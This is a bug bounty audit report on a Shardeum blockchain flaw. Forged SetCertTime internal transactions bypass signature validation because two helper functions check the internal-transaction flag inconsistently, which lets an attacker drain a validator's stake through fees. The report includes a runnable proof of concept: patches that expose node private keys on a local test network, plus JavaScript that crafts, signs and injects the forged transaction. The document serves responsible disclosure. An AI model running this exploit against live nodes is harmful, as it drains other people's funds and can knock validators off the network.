#39812 [BC-Critical] Bypass `SetCertTime` transaction signature check #1

Submitted on Feb 8th 2025 at 00:38:00 UTC by @Blockian for Audit Comp | Shardeum: Core III

• Report ID: #39812

• Report Type: Blockchain/DLT

• Report severity: Critical

• Target: https://github.com/shardeum/shardeum/tree/bugbounty

• Impacts:

  • Direct loss of funds

  • Network not being able to confirm new transactions (total network shutdown)

Description

Impact

Bypass the signature of SetCertTime transaction, which allows for draining any validators balance.

• Note: same impact as report 33750 but a different root cause.

Root Cause

There is an inconsistency between the function isSetCertTimeTx and the function isInternalTx, specifically with regards to .tx.isInternalTx. This makes it so that SetCertTime transactions with .tx.isInternalTx = true don't undergo SetCertTime validation.

Attack Flow

A malicious user submits a SetCertTime transaction on behalf of someone else (nominator == victim), causing a fee to be deducted from their account. The malicious user can then continue doing so until the node is kicked / drained.

Deep Dive

When validating a SetCertTime transaction, the function validateTxnFields which is used to validate transaction fields calls isSetCertTimeTx to decide if it should call validateSetCertTimeTx which validates properties of the transaction, including its signer's identity .

isSetCertTimeTx returns false if tx.isInternalTx isn't set to true, even if tx.internalTXType === InternalTXType.SetCertTime:

export function isSetCertTimeTx(tx): boolean {
  if (tx.isInternalTx && tx.internalTXType === InternalTXType.SetCertTime) {
    return true
  }
  return false
}

When applying a SetCertTime transaction, the check is:

internalTx.internalTXType === InternalTXType.SetCertTime

in order to call applySetCertTimeTx even if tx.isInternalTx isn't set to true, as long as isInternalTx returns true, which can happen if tx.tx.isInternalTx is true:

export function isInternalTx(timestampedTx: any): boolean {
  if (timestampedTx && timestampedTx.raw) return false
  if (timestampedTx && timestampedTx.isInternalTx) return true
  if (timestampedTx && timestampedTx.tx && timestampedTx.tx.isInternalTx) return true // <-- HERE
  return false
}

The fee is then subtracted from the victim's balance in applySetCertTimeTx here.

Suggested Fix

I suggested to do 3 things:

1. Only use the isInternalTx function, never use .isInternalTx

2. Only use the isSetCertTimeTx function, never compare internelTxType

3. Remove the third check from isInternalTx as it is not used

Severity

This allows to kick validators and do drain funds, and so it critical. In addition, this is the same as 33750 which was classified as critical.

Proof of Concept

POC

1. All of shardeum, core, and json-rpc-server should be on the bugbounty branch

2. Apply debug-10-nodes as stated in the docs

3. Apply the following patch on core (the logs are optional):

diff --git a/src/logger/index.ts b/src/logger/index.ts
index bfabe928..2c4fae5a 100644
--- a/src/logger/index.ts
+++ b/src/logger/index.ts
@@ -148,7 +148,7 @@ export let logFlags: LogFlags = {
   net_rust: false,
   net_verbose: false,
   net_stats: false,
-  dapp_verbose: false,
+  dapp_verbose: true,
   profiling_verbose: false,
 
   aalg: false,
diff --git a/src/shardus/index.ts b/src/shardus/index.ts
index f29206b8..5003889a 100644
--- a/src/shardus/index.ts
+++ b/src/shardus/index.ts
@@ -2911,6 +2911,22 @@ class Shardus extends EventEmitter {
    * Register the exit and config routes
    */
   _registerRoutes() {
+    this.network.registerExternalGet('bugbounty', async (req, res) => {
+      const info = { 
+        active: Self.isActive,
+        ip: Self.ip,
+        port: Self.port 
+      }
+      if (Self.isActive) {
+        info['id'] = Self.id
+        info['public_key'] = Context.crypto.keypair.publicKey
+        info['private_key'] = Context.crypto.keypair.secretKey
+        info['active_nodes'] = NodeList.activeByIdOrder
+        info['archivers'] = [...Archivers.archivers.values()]
+        info['hash_key'] = config.crypto.hashKey
+      } 
+      res.send(info)
+    })
     // DEBUG routes
     this.network.registerExternalPost('exit', isDebugModeMiddlewareHigh, async (_req, res) => {
       res.json({ success: true })

1. Apply the following patch on shardeum

diff --git a/src/config/genesis.json b/src/config/genesis.json
index 53aeee7e..65e5cc1b 100644
--- a/src/config/genesis.json
+++ b/src/config/genesis.json
@@ -89,6 +89,9 @@
   "0x0c799D15c3f2e9dAf10677aD09565E93CAc3e4c4": {
     "wei": "1001000000000000000000"
   },
+  "0xE0291324263D7EC15fa3494bFDc1e902d8bd5d3d": {
+    "wei": "10000000000000000000000000"
+  },
   "0xEbe173a837Bc30BFEF6E13C9988a4771a4D83275": {
     "wei": "1001000000000000000000"
   },

1. Run the network with 10 nodes

2. Wait for all the nodes to be active

3. Run the following code, to create a staking account:

import { ethers } from "ethers";
import { fromAscii } from "@ethereumjs/util";

// dont forget to add to src/config.genesis.json in shardeum, see server_genesis.patch
const VICTIM_WALLET = {
        address: "0xE0291324263D7EC15fa3494bFDc1e902d8bd5d3d",
        privateKey: "0x759418c4f40e463452b15eda4b27478d152f2a2c04e6cd324fb620a9eede6021"
}
const JSON_RPC_URL = "http://127.0.0.1:8080";

async function sendStakeTransaction() {
    const stake_to_address = "0x0000000000000000000000000000000000010000";
    const stake_data = {
        stake: 10000000000000000000,
        internalTXType: 6, // Stake
        nominee: VICTIM_WALLET.address.replace('0x', '').padEnd(64, '0'),
        nominator: VICTIM_WALLET.address,
    };
    const provider = new ethers.providers.JsonRpcProvider(JSON_RPC_URL);
    const wallet = new ethers.Wallet(VICTIM_WALLET.privateKey, provider);
    const stake_tx = {
        to: stake_to_address,
        value: BigInt(10000000000000000000),
        data: fromAscii(JSON.stringify(stake_data))
    };
    const tx = await wallet.sendTransaction(stake_tx);
    const receipt = await tx.wait();

    return receipt;
}
  
await sendStakeTransaction()

1. Run the following code, to start draining the staking account:

import axios from "axios";
import crypto from '@shardus/crypto-utils';

crypto.init("69fa4195670576c0160d660c3be36556ff8d504725be8a59b5a96509e0c994bc")

const VICTIM_WALLET = {
    address: "0xE0291324263D7EC15fa3494bFDc1e902d8bd5d3d",
    privateKey: "0x759418c4f40e463452b15eda4b27478d152f2a2c04e6cd324fb620a9eede6021"
}
const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms))

const main = async  () => {
    console.log("Grabbing Nodelist ....");
    let res = await axios.get('http://0.0.0.0:4000/nodelist')
    const nodelist = res.data.nodeList
    const randomNode = nodelist[Math.floor(Math.random() * nodelist.length)]

    const setCertTimeTx = {
        tx: {isInternalTx: true},
        internalTXType: 5,
        nominee: "",
        nominator: "",
        duration: 19, 
        timestamp: Date.now() + 1000,
    }

    setCertTimeTx.nominator = VICTIM_WALLET.address
    setCertTimeTx.nominee = VICTIM_WALLET.address.replace('0x', '').padEnd(64, '0');
    
    const nominator = setCertTimeTx.nominator.replace('0x', '').padEnd(64, '0')
    const before = await axios.get(`http://${randomNode.ip}:${randomNode.port}/account/${nominator}`)
    console.log("Balance and certExp before attack --------------------------------------")
    console.log(before.data);
    
    console.log("Constructing InternalTx setCertTime: ", setCertTimeTx)
    
    const url = `http://${randomNode.ip}:${randomNode.port}/bugbounty`
    res = await axios.get(url)
    if (!res.data.active) {
        console.log('ERROR - Attacker node is not active.')
        return
    }
    const CONFIG = res.data
    
    crypto.init(CONFIG['hash_key'])
    
    const ATTACKER_PUBLIC_KEY=CONFIG['public_key']
    const ATTACKER_PRIVATE_KEY=CONFIG['private_key']
    
    crypto.signObj(setCertTimeTx, ATTACKER_PRIVATE_KEY, ATTACKER_PUBLIC_KEY)
    console.log("Signing InternalTx setCertTime: ", setCertTimeTx)

    console.log("Firing InternalTx setCertTime ....")
    res = await axios.post(`http://${randomNode.ip}:${randomNode.port}/inject`, setCertTimeTx)

    if(!res.data.success) throw new Error(res.data.reason)
    console.log(`http://${randomNode.ip}:${randomNode.port}/inject`)
    console.log("Waiting 120 sec for transaction to be finalized");
    await sleep(120000)

    const after = await axios.get(`http://${randomNode.ip}:${randomNode.port}/account/${nominator}`)
    console.log("Balance and certExp after attack --------------------------------------")
    console.log(after.data);


}

main();

NOTE: This POC uses a node as the attacker just because it is guaranteed to have an account and I know its private key. Any account would do.